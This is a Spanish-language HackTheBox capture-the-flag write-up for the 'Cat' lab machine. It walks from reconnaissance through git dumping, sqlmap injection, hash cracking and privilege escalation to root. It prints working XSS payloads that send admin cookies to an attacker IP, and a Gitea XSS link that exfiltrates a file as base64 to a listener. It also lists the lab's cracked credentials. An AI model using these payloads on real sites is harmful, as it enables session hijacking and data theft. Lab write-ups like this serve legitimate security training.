> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Análisis de Cat HackTheBox

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**Habilidades:**

* Fuzzing de directorios (.git file)
* Análisis de código fuente (volcado del repositorio Git)
* Explotación de XSS almacenado y secuestro de sesión
* Inyección SQL (SQLite) usando sqlmap
* Cracking de hashes de contraseñas
* Redirección de puertos vía SSH
* Explotación de Gitea (v1.22.0) – XSS almacenado
* Exfiltración de datos sensibles mediante cargas útiles XSS
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/8a737347c3a8e87ee2ed953d826113240d25aeca" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/1d0c1e82aec108e99fc32cbbdc45e372301ed5f0" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="/files/cb4c5a8a56127f53cc5d8518472414f7f83d2e22" alt=""><figcaption></figcaption></figure>

Escaneo de versiones de puertos con Nmap:

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="/files/00f1bb0dddb70ee77cc044f58ddbdaf35eb7199b" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, insertamos el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo:

<figure><img src="/files/5e4688633f93d70b2023cb4c6eecdab89d1c4064" alt="" width="563"><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="/files/68cec9d556f81f42fa2659d6586ce35510ddda85" alt=""><figcaption></figcaption></figure>

Al acceder al `http://cat.htb` sitio, encontrarás un formulario de registro.

<figure><img src="/files/94a118eac566379d070d7d1627491cb4a56b04cf" alt=""><figcaption></figcaption></figure>

También notamos una funcionalidad de votación.

<figure><img src="/files/e7c39ee437c35b67efccd6ac55da1a22c4ab07bc" alt=""><figcaption></figcaption></figure>

**Fuzzing de directorios**

Ejecutamos `gobuster` para descubrir rutas ocultas:

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="/files/bdd60c2bfee5a9eb96102368e5c341a0ac2057d8" alt=""><figcaption></figcaption></figure>

Esto revela varios archivos interesantes, incluido un `.git` directorio.

<figure><img src="/files/e37404beac7f35036788feef42c5fc7965ce706e" alt="" width="563"><figcaption></figcaption></figure>

**volcado del repositorio Git**

Usamos `git-dumper` para recuperar el contenido del repositorio:

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="/files/1f94dbf3e4f582127eeb5a55fb79cdbb2c125b22" alt=""><figcaption></figcaption></figure>

Al inspeccionar el código fuente, identificamos una **vulnerabilidad SQL** así como una posibilidad de **XSS almacenado**.

<figure><img src="/files/31dea0dad6863f3504820e6567b82723a0b66fb0" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad XSS

La aplicación acepta *username* y *correo electrónico* campos sin filtrado adecuado. Esto permite la inyección de scripts maliciosos.

<figure><img src="/files/34e739f4e620bb6f4c99c273070fa8aed2f0ab81" alt=""><figcaption></figcaption></figure>

**Carga útil XSS**

Creamos un usuario con el siguiente nombre:

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**Recibiendo la cookie del administrador**

Escuchamos en el puerto 8081:

```bash
python -m http.server 8081
```

<figure><img src="/files/66299437408b9216ae075448b6a3d0eedd93c5ef" alt=""><figcaption></figcaption></figure>

Una vez capturada la cookie, obtenemos la sesión de administrador:

<figure><img src="/files/92a1e8a455aeccbb4a744b661070a073bbcace44" alt=""><figcaption></figcaption></figure>

Modificamos nuestra cookie de sesión por la del administrador y accedemos a la **consola de administración**.

<figure><img src="/files/bd94b97f85772e3b9a73479b57653cae66524729" alt=""><figcaption></figcaption></figure>

## Inyección SQL (SQLite)

<figure><img src="/files/b781b052dde0901e369bfe0701a82003f2cd6749" alt=""><figcaption></figcaption></figure>

Con acceso de administrador, lanza `sqlmap` en un formulario vulnerable

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="/files/5910118d1ef013c06df74e756890e6247fd70f7b" alt=""><figcaption></figcaption></figure>

**Recuperación de hashes**

Obtenemos las **hashes de contraseñas**de los usuarios. Aquí hay algunos ejemplos:

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**Cracking de contraseñas**

Usando [CrackStation](https://crackstation.net/), identificamos con éxito la contraseña del usuario `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="/files/cf725ed4580b79ffcd58c1f55732c3c9d1159502" alt=""><figcaption></figcaption></figure>

* **username** : rosa
* **contraseña** : soyunaprincesarosa

Conexión SSH con las credenciales obtenidas:

```bash
ssh rosa@cat.htb
```

<figure><img src="/files/15a0ad7d79acf077a0bc423c9a0ddac29e41bade" alt=""><figcaption></figcaption></figure>

### Pivotando al usuario Axel

#### Enumeración con LinPEAS:

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosa está en el `adm` grupo, acceso a:

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="/files/14eafa22a2db2c5bf6499a84b7a46180f7ce76ed" alt=""><figcaption></figcaption></figure>

Credenciales encontradas:

* Usuario: axel
* Contraseña : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="/files/94e4226e2f6ae798023905b9dfefba671ce24d4f" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/b9cd64c75588ead4223afba92bc560e4b837a007" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

### Descubrimiento de puertos internos:

```bash
netstat -tuln
```

* **Node.js** (puerto 3000)
* **SMTP** (587, 25)

Servicios identificados

<figure><img src="/files/5301c0a4f87adc5723a4a4110ad6b45dcf3be6ac" alt=""><figcaption></figcaption></figure>

#### Reenvío de puertos

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### Vulnerabilidad XSS en Gitea v1.22.0

En `http://localhost:3000` -> **Gitea** está accesible.

<figure><img src="/files/5d36899c9cc437c398d0d1cea3242618b92c2706" alt=""><figcaption></figcaption></figure>

Inicia sesión con las credenciales de Axel.

<figure><img src="/files/e97f019da893a220c4d7a2d670d588072a198d21" alt=""><figcaption></figcaption></figure>

Vulnerabilidad XSS conocida.

<figure><img src="/files/a6083c2c9c840ae9b8b62271c91a60ed42de32bc" alt=""><figcaption></figcaption></figure>

Creamos un proyecto con una descripción que contiene:

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="/files/2b15022e285dd47009ff17f0a97a2d6f292a735d" alt=""><figcaption></figcaption></figure>

* Resultado:

<figure><img src="/files/f197289b0db49c8f1a2d71e0784390179e7df7c6" alt=""><figcaption></figcaption></figure>

### Correo interceptado vía LinPEAS

<figure><img src="/files/e42f783834906bfaf1d2878aa0f856bc19552cfb" alt=""><figcaption></figcaption></figure>

Contenido del correo:

* jobert\@localhost debe revisar el repositorio de Gitea

<figure><img src="/files/3d05f792cb3ce85581c063c7fc0c4b35cc47cb21" alt=""><figcaption></figcaption></figure>

Enviamos un enlace XSS que contiene un script de exfiltración que lee el contenido de la `index.php` página del repositorio de Gitea, lo codifica en Base64 y luego lo envía a nuestro servidor web

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="/files/a228637e61ec35e12a78e42bfc5eb546404a1029" alt=""><figcaption></figcaption></figure>

#### A través de nuestro servidor web

```bash
python -m http.server 8080
```

<figure><img src="/files/752d82dd3c49fc60b55738db1ced01d8a7f0d2e7" alt=""><figcaption></figcaption></figure>

#### Contenido exfiltrado (Base64 decodificado):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/aae5edd25e8e9acdcb29067e692a6c3b2315f7d7" alt=""><figcaption></figcaption></figure>

#### Escalada a root

Hay una reutilización de credenciales para el usuario root

```bash
su root
```

<figure><img src="/files/e4a9b9e23d645b2001aa9fd8b2f139d98faf6bd3" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/76dda4a5c2ffb260fe04ce0245247b447a39dad8" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="/files/6e34fe217d0af19b7a0b88af7ed816418dff9311" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
